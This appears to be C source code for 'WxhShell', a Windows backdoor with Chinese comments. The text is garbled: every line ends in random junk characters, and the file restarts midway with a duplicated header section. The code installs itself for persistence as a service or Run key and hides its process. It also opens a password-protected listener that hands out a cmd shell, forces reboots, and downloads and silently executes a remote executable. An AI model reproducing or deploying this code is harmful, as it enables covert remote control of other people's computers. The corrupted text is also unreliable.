    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]' Y|N l  
    if(Boot(SHUTDOWN)) !p9)CjQ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xka<I3UD5  
    else { U@G"`RYl  
    closesocket(wsh); 5?WYsj"  
    ExitThread(0); *G9sy_  
    } xwRhs!`t1  
    break; 9lf*O0Z&n  
    } QK)){ cK  
  // 获取shell JB3"EFv  
  case 's': { !8sgq{x((  
    CmdShell(wsh); XZ`:wmc|  
    closesocket(wsh); 3jjMY  
    ExitThread(0); r-}-C!  
    break; 0}{'C5  
  } 7 8Vcu'j&_  
  // 退出 {_?rh,9q  
  case 'x': { S,)d(g3>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k1)%.pt%  
    CloseIt(wsh); ? B@&#E!/f  
    break; cHx%Nd\  
    } JK]R*!{n  
  // 离开 h.)h@$d  
  case 'q': { *U;'OWE[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e,>%Z@92(  
    closesocket(wsh);  v,=v  
    WSACleanup(); Lxv6!?v|  
    exit(1); a5@z:i  
    break; >nzu],U  
        } UiH!Dl}<  
  } cvnB!$eji  
  } ,R?np9wc  
(D<(6?  
  // 提示信息 NQfYxB1Yr:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O. ,3|  
} !gF9k8\Yr$  
  }  ~*M$O&  
r> k-KdS  
  return; "g>.{E5  
} ~e `Bq>  
Kz jC/1sd  
// shell模块句柄 c~0{s>  
int CmdShell(SOCKET sock) oc7$H>ET1  
{ M*sR3SZ  
STARTUPINFO si; mMSh2B  
ZeroMemory(&si,sizeof(si)); \\06T `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \P;rES'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o!OMm!  
PROCESS_INFORMATION ProcessInfo; .~>?*}  
char cmdline[]="cmd"; 7ER|'j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G,f-.  
  return 0; }lP;U$  
} ljC(L/I  
eSEq{ ?>  
// 自身启动模式 ]}Z4P-"t  
int StartFromService(void) ST5V!jz  
{ -#In;~  
typedef struct QzOkpewf  
{ mj&57D\fq  
  DWORD ExitStatus; .B72C[' c  
  DWORD PebBaseAddress; hB9Ee@  
  DWORD AffinityMask; .pPm~2]z  
  DWORD BasePriority; R!(ZMRMn  
  ULONG UniqueProcessId; QSw<%pcJE@  
  ULONG InheritedFromUniqueProcessId; ht=P\E  
}   PROCESS_BASIC_INFORMATION;  R'}95S<  
~1 ~Xfo>  
PROCNTQSIP NtQueryInformationProcess; S?ujRp  
7%MbhlN.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tz^/J=)"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y^KTkS0D  
: i~W } r  
  HANDLE             hProcess; eS+g|$cW  
  PROCESS_BASIC_INFORMATION pbi; ~g#r6pzN-  
:~F:/5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 59r_#(uo  
  if(NULL == hInst ) return 0; K+Y^>N4m  
-d+aV1n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oVvc?P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h.eM RdlO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @L/o\pvc  
@I`C#~  
  if (!NtQueryInformationProcess) return 0; R=Zn -q  
7F^#o-@=J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "9!d]2.-Vk  
  if(!hProcess) return 0; 2I/xJ+  
$e1=xSQp4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cx<0 H  
l<g5yYyf  
  CloseHandle(hProcess); =,y |00l  
80b;I|-T,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \1"'E@+  
if(hProcess==NULL) return 0; n">u mM;Eh  
n DS}^Ba  
HMODULE hMod; ^y!;xc$(Qs  
char procName[255]; +Hvc_Av''  
unsigned long cbNeeded; P{OAV+cG  
T9W`?A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rxn Frx  
p)aeH`;O  
  CloseHandle(hProcess); =m89z}Ot  
K5Q43 e1  
if(strstr(procName,"services")) return 1; // 以服务启动 3`E=#ff%  
pM;vH]|  
  return 0; // 注册表启动 &H}r%%|A  
} gTl<wo +  
az0<5 Bq)  
// 主模块 }jH7iyjD  
int StartWxhshell(LPSTR lpCmdLine) o?L'Pg  
{ E`int?C!  
  SOCKET wsl; W>_]dPBS/  
BOOL val=TRUE; ?eH&'m}-  
  int port=0; S$)*&46g  
  struct sockaddr_in door; >Y7a4~ufko  
;~fT,7qBah  
  if(wscfg.ws_autoins) Install(); Od+6 -J  
[x=jH>Y  
port=atoi(lpCmdLine); -fhN"B)  
L`f^y;Y.  
if(port<=0) port=wscfg.ws_port; U,#yqER'r  
> fnh+M  
  WSADATA data; x:-.+C%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z4<L$i;/jN  
A?_=K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZkL8e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]]7 mlQ  
  door.sin_family = AF_INET; O[tvR:Nh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q!- 0xlx  
  door.sin_port = htons(port); P-F)%T[  
3LDS Z1f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A.<H>=Z# O  
closesocket(wsl); H]Hv;fcC  
return 1; fjvN$NgVs  
} \(226^|j  
Grs]d-xI  
  if(listen(wsl,2) == INVALID_SOCKET) { mxor1P#|  
closesocket(wsl); x{D yTtX<  
return 1; QaUm1 i#  
} ? WJ> p  
  Wxhshell(wsl); ^` un'5Vk  
  WSACleanup(); w=b)({`M  
>U F  
return 0; f#+el y  
3bO(?l`3h  
} 720P jQ  
DZzN>9<)^  
// 以NT服务方式启动 l/;X?g5+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :0Z^uuk`gq  
{ ?X@fKAj  
DWORD   status = 0; (c0A.L)  
  DWORD   specificError = 0xfffffff; ;iDPn2?6?x  
N0hE4t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ::_i@r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fXrXV~'8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 93t9^9  
  serviceStatus.dwWin32ExitCode     = 0; _|h8q-[3  
  serviceStatus.dwServiceSpecificExitCode = 0; /mo(_  
  serviceStatus.dwCheckPoint       = 0; s4&^D<  
  serviceStatus.dwWaitHint       = 0; h-iJlm  
rG,5[/l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3u%{dGa  
  if (hServiceStatusHandle==0) return; j+>J,axU!  
Gy=B&boZ  
status = GetLastError(); ]Q[p@gLd  
  if (status!=NO_ERROR) jzU.Bu.  
{ d,Y_GCZ7|W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a0r"N[&  
    serviceStatus.dwCheckPoint       = 0; l7&$}x -  
    serviceStatus.dwWaitHint       = 0; h iNEJ_f  
    serviceStatus.dwWin32ExitCode     = status; SG6sw]x  
    serviceStatus.dwServiceSpecificExitCode = specificError; j*~T1i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ySI~{YVM  
    return; VfT*7_  
  } ~-wPP{!  
AwQ?l(iZ"p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; % ,+leKs  
  serviceStatus.dwCheckPoint       = 0; k,euhA/&  
  serviceStatus.dwWaitHint       = 0; oK 6(HF'&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f/CuE%7BR  
} 4CGPO c  
^eW}XRI  
// 处理NT服务事件,比如:启动、停止 J\ e+}{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JN7k2]{  
{ N},n `Yl.  
switch(fdwControl) @&[T _l  
{ @A)R_p  
case SERVICE_CONTROL_STOP: +V&{*f)  
  serviceStatus.dwWin32ExitCode = 0; o)'y.-@Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bH"hX  
  serviceStatus.dwCheckPoint   = 0; {BKl`1z  
  serviceStatus.dwWaitHint     = 0; j0@[Br%7  
  { ca+[0w@S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~'R(2[L!;  
  } $s<Ne{?  
  return; McPNB`.H  
case SERVICE_CONTROL_PAUSE: y8fsveX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uc|45Zxt  
  break; xe/(  
case SERVICE_CONTROL_CONTINUE: {rcnM7 S1L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =y=cW1TG  
  break; g2unV[()_  
case SERVICE_CONTROL_INTERROGATE: =J1rlnaaEL  
  break; #-h\.#s  
}; ^e+a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Vo>e =q  
} y\&>Z yOY  
Wh&8pH:  
// 标准应用程序主函数 L/"0ws_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LzYO$Ir:g  
{ Y#g4$"G9  
\W%UZs  
// 获取操作系统版本 id$Ul?z8  
OsIsNt=GetOsVer(); '= l[;Q^Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); < })'Y~i  
7 [g/TB  
  // 从命令行安装 EM\'GW  
  if(strpbrk(lpCmdLine,"iI")) Install(); NKQOUw:qn  
hR.@b*q?R  
  // 下载执行文件 ^{8Gt @  
if(wscfg.ws_downexe) { ZY:[ekm%4Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Lfo)?zG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mg^e3D1_  
} o=nsy]'&  
umdG(osR  
if(!OsIsNt) { T~b>B`_  
// 如果时win9x,隐藏进程并且设置为注册表启动 29reG,>  
HideProc(); Q[#vTB$f  
StartWxhshell(lpCmdLine); KM`eIw>8  
} }2ZsHM^]%  
else Ko^c|}mh*!  
  if(StartFromService()) Vx @|O%  
  // 以服务方式启动 Yq/.-4 y  
  StartServiceCtrlDispatcher(DispatchTable);  YBnA+l*  
else itzyCw2|#  
  // 普通方式启动 [V}S <Xp  
  StartWxhshell(lpCmdLine); ]D,MiDph  
5aa<qtUjH  
return 0; !Kv@\4  
} A19;1#$=  
Ja ,Cvt  
k^OV56  
+}-@@,  
=========================================== Z y_V9j[n  
t+Op@*#%  
}6 K^`!  
~@kU3ZGJZ  
pAk/Qxl3eo  
D\e8,,H  
" iPrLwheb  
N:9>dpP}O  
#include <stdio.h> #]'rz,E<  
#include <string.h> san,|yrMn  
#include <windows.h> B4]`-mahO  
#include <winsock2.h> ]~\sA  
#include <winsvc.h> y9KB< yh/  
#include <urlmon.h> l9M0cZ,  
<r3J0)r}  
#pragma comment (lib, "Ws2_32.lib") JCW\ *R  
#pragma comment (lib, "urlmon.lib") <EST?.@~+  
|`;54_f  
#define MAX_USER   100 // 最大客户端连接数 It75R}B   
#define BUF_SOCK   200 // sock buffer pa{re,O"e  
#define KEY_BUFF   255 // 输入 buffer KWWa&[ev)  
ox ;  
#define REBOOT     0   // 重启 5 QO34t2  
#define SHUTDOWN   1   // 关机 'KPASfC  
a/< Csad  
#define DEF_PORT   5000 // 监听端口 f0T ,ul,  
(< =}]v  
#define REG_LEN     16   // 注册表键长度 5pn)yk~  
#define SVC_LEN     80   // NT服务名长度 @'=Uq  
}Nb8}(6  
// 从dll定义API ?h1H.s2X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }ZqW@ -  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &Ni`e<mP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @UdfAyL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lqb/eN9(t  
sUYxT>R  
// wxhshell配置信息 ,<2DL p%%D  
struct WSCFG { w/L `  
  int ws_port;         // 监听端口 TFcT3]R[rL  
  char ws_passstr[REG_LEN]; // 口令 }E_#k]#*  
  int ws_autoins;       // 安装标记, 1=yes 0=no \8uIER5)  
  char ws_regname[REG_LEN]; // 注册表键名 )+Oujt  
  char ws_svcname[REG_LEN]; // 服务名 h`MF#617  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _wdG|{px  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3su78et}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "gD-8C3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %r+vSGt;5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |$7vI&m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CX m+)a-L  
m5Tr-w$QY  
}; =v*.p=r  
PH{_ ,X  
// default Wxhshell configuration [ib P%xb  
struct WSCFG wscfg={DEF_PORT, t5lO'Ll*Q]  
    "xuhuanlingzhe", ko^\ HSXl  
    1, >YUoh-]`  
    "Wxhshell", rhL"i^  
    "Wxhshell", %2V-~.Ro6  
            "WxhShell Service", F"N60>>  
    "Wrsky Windows CmdShell Service", ;Q+xK h%  
    "Please Input Your Password: ", y?SyInt  
  1, nQ GQWg`  
  "http://www.wrsky.com/wxhshell.exe", cr;g5C V  
  "Wxhshell.exe" )3(;tT,$}^  
    }; #M!!CX*k  
K|oacOF9  
// 消息定义模块 @2*]"/)*0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iH.$f /)N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 &GRPu27  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {6oE0;2o'  
char *msg_ws_ext="\n\rExit."; t&9A ]<n%,  
char *msg_ws_end="\n\rQuit."; \RVW  
char *msg_ws_boot="\n\rReboot..."; nbG/c80  
char *msg_ws_poff="\n\rShutdown..."; @X3{x\i'I  
char *msg_ws_down="\n\rSave to "; D13Rx 6b  
Nl' )l"  
char *msg_ws_err="\n\rErr!"; "}Me}S<  
char *msg_ws_ok="\n\rOK!"; .] `f,^v<c  
@JW@-9/  
char ExeFile[MAX_PATH]; y ^;l*qq  
int nUser = 0; _f6HAGDN  
HANDLE handles[MAX_USER]; iX\W;V  
int OsIsNt; C4}*) a  
(8ht*b.5K  
SERVICE_STATUS       serviceStatus; (|d34DOJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {vo +gRYYv  
U?!>Nd  
// 函数声明 O 1oxZj <  
int Install(void); A_;8IlW  
int Uninstall(void); j:w{;(1=W  
int DownloadFile(char *sURL, SOCKET wsh); apk4 j\i?5  
int Boot(int flag); ,<A$h3*  
void HideProc(void); .6OgO{P:  
int GetOsVer(void); CB&iI'  
int Wxhshell(SOCKET wsl); DI;DECQl$  
void TalkWithClient(void *cs); c"n ?'e  
int CmdShell(SOCKET sock); fBQ?|~:n  
int StartFromService(void); /\) a  
int StartWxhshell(LPSTR lpCmdLine); @x/T&67k  
N4*G{g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oBUxKisW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )a3IQrf=  
IL_d:HF|1  
// 数据结构和表定义 /CTc7.OYt  
SERVICE_TABLE_ENTRY DispatchTable[] = xF8}:z0  
{ cVwbg[W]  
{wscfg.ws_svcname, NTServiceMain}, c/ 5W4_J  
{NULL, NULL} xm6EKp:  
}; F:#J:x'  
oDcKtB+2  
// 自我安装 L}m8AAkP[  
int Install(void) pZyQY+O  
{ Jl "mL  
  char svExeFile[MAX_PATH]; n8hRaNHl2  
  HKEY key; Zatf9yGD  
  strcpy(svExeFile,ExeFile); qT/Do?Y  
?b!Fa  
// 如果是win9x系统,修改注册表设为自启动 0q rqg]  
if(!OsIsNt) { Y4IGDY*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 |/9}^T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ip~$X 2  
  RegCloseKey(key); KgW:@X7wvM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b~BIz95  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z@gnsPN^r  
  RegCloseKey(key); =:SN1#G3n  
  return 0; \Ofw8=N-2  
    } >*$;  
  } GjB]KA^  
} ?m c%.Bt  
else { }CxvT`/  
mQ}ny(K'  
// 如果是NT以上系统,安装为系统服务 tb?YLxMV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5b/ojr7  
if (schSCManager!=0) Il`tNr  
{ U=8@@ yE  
  SC_HANDLE schService = CreateService U}$DhA"r"  
  ( 4'p=p#o  
  schSCManager, )f dE6  
  wscfg.ws_svcname, *;|`E(   
  wscfg.ws_svcdisp, 0hZ1rqq8C  
  SERVICE_ALL_ACCESS, ouHu8)q'r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _73h<|0  
  SERVICE_AUTO_START, `c+/q2M  
  SERVICE_ERROR_NORMAL, Y qcD-K  
  svExeFile, iBudmT8  
  NULL, ~m*,mz  
  NULL, h3gWOU  
  NULL, vEQ<A<[Z  
  NULL, gw _$  
  NULL vB! |\eJ  
  );  _ q(Q  
  if (schService!=0) ~L7:2weV[  
  { &:=$wc  
  CloseServiceHandle(schService);  ,YhwpkL  
  CloseServiceHandle(schSCManager); ,%YBG1E[y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #%@MGrsK  
  strcat(svExeFile,wscfg.ws_svcname); [_xyl e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dGwszziuK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]S 7^ITn  
  RegCloseKey(key); 0J~Qq]g  
  return 0; iq*A("pU  
    } UofTll)  
  } ^zEE6i  
  CloseServiceHandle(schSCManager); 6b~28  
} <:8,niKtw  
} 6D;^uM2N  
oPKXZU(c  
return 1; 0iEa[G3  
} 0@Kkl$O>mb  
8dK0o>|}  
// 自我卸载 0uCT+-  
int Uninstall(void) vw<K}z  
{ Q+i\8RJ  
  HKEY key; S'B6jJK2x  
xv7"WFb  
if(!OsIsNt) { ;3C:%!CdA]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;7Oi!BC  
  RegDeleteValue(key,wscfg.ws_regname); TFDm5XJ  
  RegCloseKey(key); K t#,]]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DG;y6#|p  
  RegDeleteValue(key,wscfg.ws_regname); VhEMk\  
  RegCloseKey(key); ,)~E>[=+  
  return 0; >NV=LOO  
  } %~*jae!f  
} P%X-@0)  
} oojiJ~  
else { 5(&xNT-n8  
uHNpfKnZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A\te*G0:S  
if (schSCManager!=0) dPjhq(8 zU  
{ <@bA?FY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hoz56y  
  if (schService!=0) 2k#t .-  
  { P,bd'  
  if(DeleteService(schService)!=0) {  +f4W"t  
  CloseServiceHandle(schService); ;+pOP |P=  
  CloseServiceHandle(schSCManager); OuIv e>8  
  return 0; EP7AP4  
  } %IBL0NQT  
  CloseServiceHandle(schService); [;O^[Iybf:  
  } A[UP"P~u/  
  CloseServiceHandle(schSCManager); u@%|k c`  
} jJwkuh8R  
} N<z`yV  
|sgXh9%x<  
return 1; b4,jN~ci  
} bdh(WJh%  
6-,m}Ce\  
// 从指定url下载文件 _|isa]u\ z  
int DownloadFile(char *sURL, SOCKET wsh) wz -)1!  
{ TF+ l5fv  
  HRESULT hr; |kiJ}oy  
char seps[]= "/"; EEf ]u7  
char *token; R_D c)  
char *file; )"O{D`uX  
char myURL[MAX_PATH]; Qu{c B^Ga*  
char myFILE[MAX_PATH]; +_HdX w#  
k4KHS<n0  
strcpy(myURL,sURL); C>|@& o1  
  token=strtok(myURL,seps); 7y*ZXT]f  
  while(token!=NULL) k3@HI|  
  { VGH/X.NJ  
    file=token; g8pm2o@S  
  token=strtok(NULL,seps); L*]E`Xxd9  
  } >HkhAJhW  
F}ukZ DB  
GetCurrentDirectory(MAX_PATH,myFILE); HW7FP]NH  
strcat(myFILE, "\\"); :Eh'(   
strcat(myFILE, file); evl -V>   
  send(wsh,myFILE,strlen(myFILE),0); 'zgvQMu  
send(wsh,"...",3,0); 't>r sp+#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K}I0o!(#  
  if(hr==S_OK) ipKG!  
return 0; ]"x\=A  
else 9]_GNk-D  
return 1; !}&" W,,0  
Ae|P"^kZ  
} tGqCt9;<  
7$b?m6fmK  
// 系统电源模块 +p/1x'J  
int Boot(int flag) Nh)[r x  
{ ekzjF\!y  
  HANDLE hToken; Go+[uY^  
  TOKEN_PRIVILEGES tkp; }_46y*o8  
I 8Y*@$h  
  if(OsIsNt) { -Fwh3F 4g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? J|4l[x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'm1.X-$V  
    tkp.PrivilegeCount = 1; /! ^P)yU,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~mILA->F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lg/sMF>z\f  
if(flag==REBOOT) { q=Xg*PM,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A1JzW)B  
  return 0; _dmL}t-  
} Ge}$rLu]0  
else { Ob&W_D^=N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y' tRANxQ  
  return 0; LC'F<MpM  
} \K`jCsT  
  } q6[}ydV  
  else { P79R~m`  
if(flag==REBOOT) { V;[p438o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lk(S2$)*  
  return 0; 2bA#D%PHD  
} zv%J=N$G  
else { ZzL@[g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F2oJ]th.3  
  return 0; <%,'$^'DS  
} X!0kK8v  
} VJ1*|r,  
q`loOm=y  
return 1; :Ee?K  
} ],?pe  
.98.G4J>  
// win9x进程隐藏模块 ul}'{|4  
void HideProc(void) q,,j',8kq/  
{ (UW6F4:$  
( Yi=v'd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^]rxhpS  
  if ( hKernel != NULL ) u_'nOle K  
  { G\mKCaI8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  <qn,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rdI]\UH  
    FreeLibrary(hKernel); )<LI%dQ:'l  
  } +2O=s<fp  
%1jdiHTaL  
return; #uWE2*')  
} u`p_.n:5)  
1jOKcm'#  
// 获取操作系统版本 /oDpgOn  
int GetOsVer(void) 9qeZb%r&  
{ "8t\MKt(  
  OSVERSIONINFO winfo; J8h7e}n?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]piM/v\  
  GetVersionEx(&winfo); .v7`$(T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6~:+:;  
  return 1; k.>6nho`TV  
  else ,|x\MHd?t_  
  return 0; >r:X~XnRUj  
} D% @KRcp^b  
j1Fw U  
// 客户端句柄模块 4.k`[q8  
int Wxhshell(SOCKET wsl) y$h"ty{g  
{ A5+5J_)*  
  SOCKET wsh; _@|fva&s,;  
  struct sockaddr_in client; AgI>  
  DWORD myID; HwW6tQ  
Gy^FrF   
  while(nUser<MAX_USER) g =x"cs/[  
{ z"av|(?d  
  int nSize=sizeof(client); w@-b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0:PSt_33F  
  if(wsh==INVALID_SOCKET) return 1; w7ZG oh(  
Gx;xj0-"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;r@!a!NLB  
if(handles[nUser]==0) =WjJN Q  
  closesocket(wsh); 5l&jPk!=  
else 4[_L=zD  
  nUser++; cI3KB-lM#  
  } AJ4r/b }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z*h ;e;  
_y-B";Vmm  
  return 0; uA^hCh-js  
} wEK%T P4  
E4i@|jE~)  
// 关闭 socket `+fk`5Y  
void CloseIt(SOCKET wsh) <4sj@C  
{ n`QO(pZ6+  
closesocket(wsh); $"1pws?d  
nUser--; `;}H%  
ExitThread(0); Rj&qh`  
} 'oCm.~;_  
p70,\&@3  
// 客户端请求句柄 Y^X:vI  
void TalkWithClient(void *cs) Np)ho8zU  
{ rx}*u3x=  
F1\`l{B,\  
  SOCKET wsh=(SOCKET)cs; &! OGIYC(  
  char pwd[SVC_LEN]; qlEFJ5;  
  char cmd[KEY_BUFF]; fo;6huz  
char chr[1]; m6eFXP1U  
int i,j; gs-@hR.,s0  
])S$x{.g  
  while (nUser < MAX_USER) { /bi6>GaC:E  
To">DOt  
if(wscfg.ws_passstr) { P!9;} &  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $wgc vySx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a0{[P$$  
  //ZeroMemory(pwd,KEY_BUFF); v*vn<nPAQ>  
      i=0; p}&Md-$1  
  while(i<SVC_LEN) { y]<#%Fh  
Wge ho  
  // 设置超时 Ia'x]#~  
  fd_set FdRead; u8^Y,LN  
  struct timeval TimeOut; W?=$V>)  
  FD_ZERO(&FdRead); 7|K3WuLL  
  FD_SET(wsh,&FdRead); 7}A5u,.,ht  
  TimeOut.tv_sec=8; =g >.X9lr  
  TimeOut.tv_usec=0; 0K/G&c?;=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]L$4P y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hw y5G ;  
CJm.K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); prwC>LE  
  pwd=chr[0]; P3i^S_  
  if(chr[0]==0xd || chr[0]==0xa) { "* +\KPCU  
  pwd=0; 8,_ -0_^$  
  break; !5? m  
  } =MCNCV/<  
  i++; T!1SMo^  
    } TZ:34\u   
+8^5C,V  
  // 如果是非法用户,关闭 socket Q:pzL "bT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &ad Y  
} )`mbf|,&t{  
ka!Bmv)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -}E)M}W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ri; =aZ5m  
l 4!kxXf-<  
while(1) { :Jjw"}SfK#  
IX"ZS  
  ZeroMemory(cmd,KEY_BUFF); AvyQ4xim+  
|PI)A`  
      // 自动支持客户端 telnet标准   =l_rAj~I|  
  j=0; Zd8drT'@#  
  while(j<KEY_BUFF) { -% >8.#~G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ob)Q,;8R  
  cmd[j]=chr[0]; D DQs42[  
  if(chr[0]==0xa || chr[0]==0xd) { sw[oQ!f  
  cmd[j]=0; 9LH=3Qt  
  break; m"<4\;GK  
  } 1B6C<cL:sU  
  j++; 8~.iuFp  
    } d3Y(SPO  
.N/GfR`0/<  
  // 下载文件 | O57N'/  
  if(strstr(cmd,"http://")) { /8=:qIJYA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |MR%{ZC^i  
  if(DownloadFile(cmd,wsh)) 3R'.}^RN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*y;>q "{U  
  else zIP[R):3&U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P87ld._  
